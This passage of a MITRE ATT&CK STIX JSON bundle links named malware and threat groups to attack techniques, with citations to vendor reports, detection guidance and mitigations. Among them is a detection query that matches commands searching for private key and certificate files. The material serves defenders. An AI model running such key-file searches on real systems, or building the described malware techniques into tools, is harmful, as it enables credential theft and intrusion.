Strike](https://attack.mitre.org/software/S0154) has the ability to load DLLs via reflective injection.(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--249d3c25-f482-488f-abc8-671d2af3aac7","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for changes to MBR and VBR as they occur for indicators for suspicious activity and further analysis. Take snapshots of MBR and VBR and compare against known good samples.","source_ref":"x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08","target_ref":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--249e7812-394b-44b0-adb7-d922139f7c38","created":"2023-01-03T21:03:52.336Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T01:46:35.465Z","description":"[KEYPLUG](https://attack.mitre.org/software/S1051) can use a hardcoded one-byte XOR encoded configuration file.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--6c575670-d14c-4c7f-9b9d-fd1b363e255d","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--24a14d07-5438-4923-a7bd-e9576f67015e","created":"2024-09-25T13:38:50.379Z","revoked":false,"external_references":[{"source_name":"AWS GuardDuty EC2 finding types","description":"AWS. (n.d.). GuardDuty EC2 finding types. Retrieved September 25, 2024.","url":"https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-ec2.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T13:38:50.379Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. Look for connections to/from strange ports, as well as reputation of IPs and URLs related to cryptocurrency hosts. In AWS environments, configure GuardDuty to alert when EC2 instances query IP addresses associated with known cryptocurrency activity.(Citation: AWS GuardDuty EC2 finding types)","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24a3fef1-9b1f-498b-8aca-df90565e6932","type":"relationship","created":"2021-10-07T16:07:13.101Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-10-12T21:51:40.240Z","description":"[Chaes](https://attack.mitre.org/software/S0631) used the CreateFileW() API function with read permissions to access downloaded payloads.(Citation: Cybereason Chaes Nov 2020) ","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--24a9d604-0e19-4458-953b-7985b862bfaa","created":"2022-10-10T19:44:47.556Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-10T19:44:47.556Z","description":"[ccf32](https://attack.mitre.org/software/S1043) can upload collected data and files to an FTP server.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--a394448a-4576-41b8-81cc-9b61abad94ab","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24af852e-f761-4c75-8aa0-edc3198bd7eb","type":"relationship","created":"2019-04-02T12:54:53.886Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","source_name":"Talos Olympic Destroyer 2018"}],"modified":"2019-06-30T23:07:54.138Z","description":"[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses the API call ChangeServiceConfigW to disable all services on the affected system.(Citation: Talos Olympic Destroyer 2018)","relationship_type":"uses","source_ref":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--24b4efab-e553-4faa-a53d-d6306e183d20","created":"2024-07-14T20:19:25.312Z","revoked":false,"external_references":[{"source_name":"Zscaler Pikabot 2023","description":"Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.","url":"https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-14T20:19:25.312Z","description":"[Pikabot](https://attack.mitre.org/software/S1145) can execute Windows shell commands via cmd.exe.(Citation: Zscaler Pikabot 2023)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24b8eeb2-ee0d-402b-b2e0-afaa3c867072","type":"relationship","created":"2021-02-11T17:32:31.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2021-04-26T22:32:57.156Z","description":"[Windigo](https://attack.mitre.org/groups/G0124) has used a script to gather credentials in files left on disk by OpenSSH backdoors.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--24baf6e9-5d36-4503-a1c5-99b91220ed5b","created":"2023-12-07T19:49:17.825Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"},{"source_name":"SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022","description":"Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023.","url":"https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"Dell SecureWorks BRONZE STARLIGHT Profile","description":"SecureWorks. (n.d.). BRONZE STARLIGHT. Retrieved December 6, 2023.","url":"https://www.secureworks.com/research/threat-profiles/bronze-starlight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-22T19:05:01.002Z","description":" (Citation: Microsoft Ransomware as a Service)(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)(Citation: Sygnia Emperor Dragonfly October 2022)(Citation: Dell SecureWorks BRONZE STARLIGHT Profile)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24bce281-7858-4a42-bfd6-601800fb63f7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-11T17:45:33.719Z","description":"[Remsec](https://attack.mitre.org/software/S0125) can obtain a list of active connections and open ports.(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24bf6b49-b492-44b0-bcc9-37bfba489d62","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","source_name":"Palo Alto Sofacy 06-2018"},{"source_name":"Unit42 Cannon Nov 2018","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018."},{"source_name":"ESET Zebrocy May 2019","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."},{"description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","source_name":"Accenture SNAKEMACKEREL Nov 2018"}],"modified":"2019-07-17T01:18:32.676Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) obtains additional code to execute on the victim's machine, including the downloading of a secondary payload.(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24c0cb46-b5c4-469f-9263-9a99117cb4ed","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Use deep packet inspection to look for artifacts of common exploit traffic, such as known payloads.","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--24c80905-1afb-43fa-b1c0-e8bf2e7e87e2","created":"2020-07-15T20:10:03.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trendmicro_IcedID","description":"Kenefick , I. (2022, December 23). IcedID Botnet Distributors Abuse Google PPC to Distribute Malware. Retrieved July 24, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/icedid-botnet-distributors-abuse-google-ppc-to-distribute-malware.html"},{"source_name":"Juniper IcedID June 2020","description":"Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020.","url":"https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:35:07.227Z","description":"[IcedID](https://attack.mitre.org/software/S0483) can inject itself into a suspended msiexec.exe process to send beacons to C2 while appearing as a normal msi application. (Citation: Juniper IcedID June 2020) [IcedID](https://attack.mitre.org/software/S0483) has also used msiexec.exe to deploy the [IcedID](https://attack.mitre.org/software/S0483) loader.(Citation: Trendmicro_IcedID)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--24caab23-239c-4012-bb62-5b843f1ff767","created":"2022-06-09T19:51:06.415Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[OutSteel](https://attack.mitre.org/software/S1017) has relied on a user to click a malicious link within a spearphishing email.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:51:06.415Z","relationship_type":"uses","source_ref":"malware--c113230f-f044-423b-af63-9b63c802f5ae","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24db8ce5-951e-4952-9aff-c005a563cb99","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2019-04-22T23:25:33.587Z","description":"[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to delete local files.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--049ff071-0b3c-4712-95d2-d21c6aa54501","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--24db980d-90c2-4934-838c-92209ae110f7","created":"2023-03-14T17:49:22.252Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft ASR Obfuscation","description":"Microsoft. (2023, February 22). Attack surface reduction (ASR) rules reference: Block execution of potentially obfuscated scripts. Retrieved March 17, 2023.","url":"https://learn.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference#block-execution-of-potentially-obfuscated-scripts"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T18:27:06.975Z","description":"On Windows 10+, enable Attack Surface Reduction (ASR) rules to block execution of potentially obfuscated scripts.(Citation: Microsoft ASR Obfuscation)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24dc9286-7e7a-4c5a-a4b2-d09324adc70b","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--24dcf8ae-d50b-4b5d-9600-7f2dd7a22829","created":"2022-03-30T14:26:51.845Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for other unusual network traffic that may indicate additional tools transferred to the system. Use network intrusion detection systems, sometimes with SSL/TLS inspection, to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.","modified":"2022-08-18T15:04:33.784Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24dd7ee4-83ed-4f54-808b-8b0e46797df4","type":"relationship","created":"2020-05-05T17:07:33.360Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-05T21:17:34.628Z","description":"[Rifdoor](https://attack.mitre.org/software/S0433) has the ability to identify the IP address of the compromised host.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--44c75271-0e4d-496f-ae0a-a6d883a42a65","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24e20a3c-5f74-40bc-a5b0-108bc0233305","type":"relationship","created":"2019-10-16T20:44:09.399Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Content trust in Azure Container Registry","url":"https://docs.microsoft.com/en-us/azure/container-registry/container-registry-content-trust","description":"Microsoft. (2019, September 5). Content trust in Azure Container Registry. Retrieved October 16, 2019."},{"source_name":"Content trust in Docker","url":"https://docs.docker.com/engine/security/trust/content_trust/","description":"Docker. (2019, October 10). Content trust in Docker. Retrieved October 16, 2019."}],"modified":"2022-03-08T21:27:49.240Z","description":"Several cloud service providers support content trust models that require container images be signed by trusted sources.(Citation: Content trust in Azure Container Registry)(Citation: Content trust in Docker)","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24e3a295-5894-48e0-b1d8-3c6e3df4de18","type":"relationship","created":"2021-09-28T15:15:06.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Qakbot May 2020","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021."}],"modified":"2021-09-28T15:15:06.698Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use domain generation algorithms in C2 communication.(Citation: Trend Micro Qakbot May 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--24e53924-ea02-4cbb-9967-f76c151f0278","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:09:05.854Z","description":"Monitor executed commands and arguments that may search for private key certificate files on compromised systems for insecurely stored credentials.\n\nAnalytic 1 - Commands indicating searches for private keys.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode=4688 CommandLine=\"*private key*\" OR CommandLine=\"*certificate*\" OR CommandLine IN (\"*.key*\", \"*.pgp*\", \"*.gpg*\", \"*.ppk*\", \"*.p12*\", \"*.pem*\", \"*.pfx*\", \"*.cer*\", \"*.p7b*\", \"*.asc*\")) OR\n(index=sysmon sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 CommandLine=\"*private key*\" OR CommandLine=\"*certificate*\" OR CommandLine IN (\"*.key*\", \"*.pgp*\", \"*.gpg*\", \"*.ppk*\", \"*.p12*\", \"*.pem*\", \"*.pfx*\", \"*.cer*\", \"*.p7b*\", \"*.asc*\")) OR\n(index=os sourcetype=\"linux_secure\" action=\"execve\" CommandLine=\"*private key*\" OR CommandLine=\"*certificate*\" OR CommandLine IN (\"*.key*\", \"*.pgp*\", \"*.gpg*\", \"*.ppk*\", \"*.p12*\", \"*.pem*\", \"*.pfx*\", \"*.cer*\", \"*.p7b*\", \"*.asc*\")) OR\n(index=os sourcetype=\"macos_secure\" event_type=\"execve\" CommandLine=\"*private key*\" OR CommandLine=\"*certificate*\" OR CommandLine IN (\"*.key*\", \"*.pgp*\", \"*.gpg*\", \"*.ppk*\", \"*.p12*\", \"*.pem*\", \"*.pfx*\", \"*.cer*\", \"*.p7b*\", \"*.asc*\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24ea53e3-a51f-4c4a-b3de-2e1d09ed69e8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2019-04-22T22:31:38.492Z","description":"[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get the current directory name as well as the size of a file. It also has commands to obtain information about logical drives, drive type, and free space.(Citation: Volexity PowerDuke November 2016)","relationship_type":"uses","source_ref":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24f1177a-971a-457f-a9b6-36de5fc65d42","type":"relationship","created":"2021-04-07T18:07:47.945Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-07T18:07:47.945Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has used an IRC channel for C2 communications.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--24fadb92-7a18-450b-b4ca-f5dd019ce54c","created":"2022-06-01T21:36:00.639Z","x_mitre_version":"0.1","external_references":[{"source_name":"Forcepoint BITTER Pakistan Oct 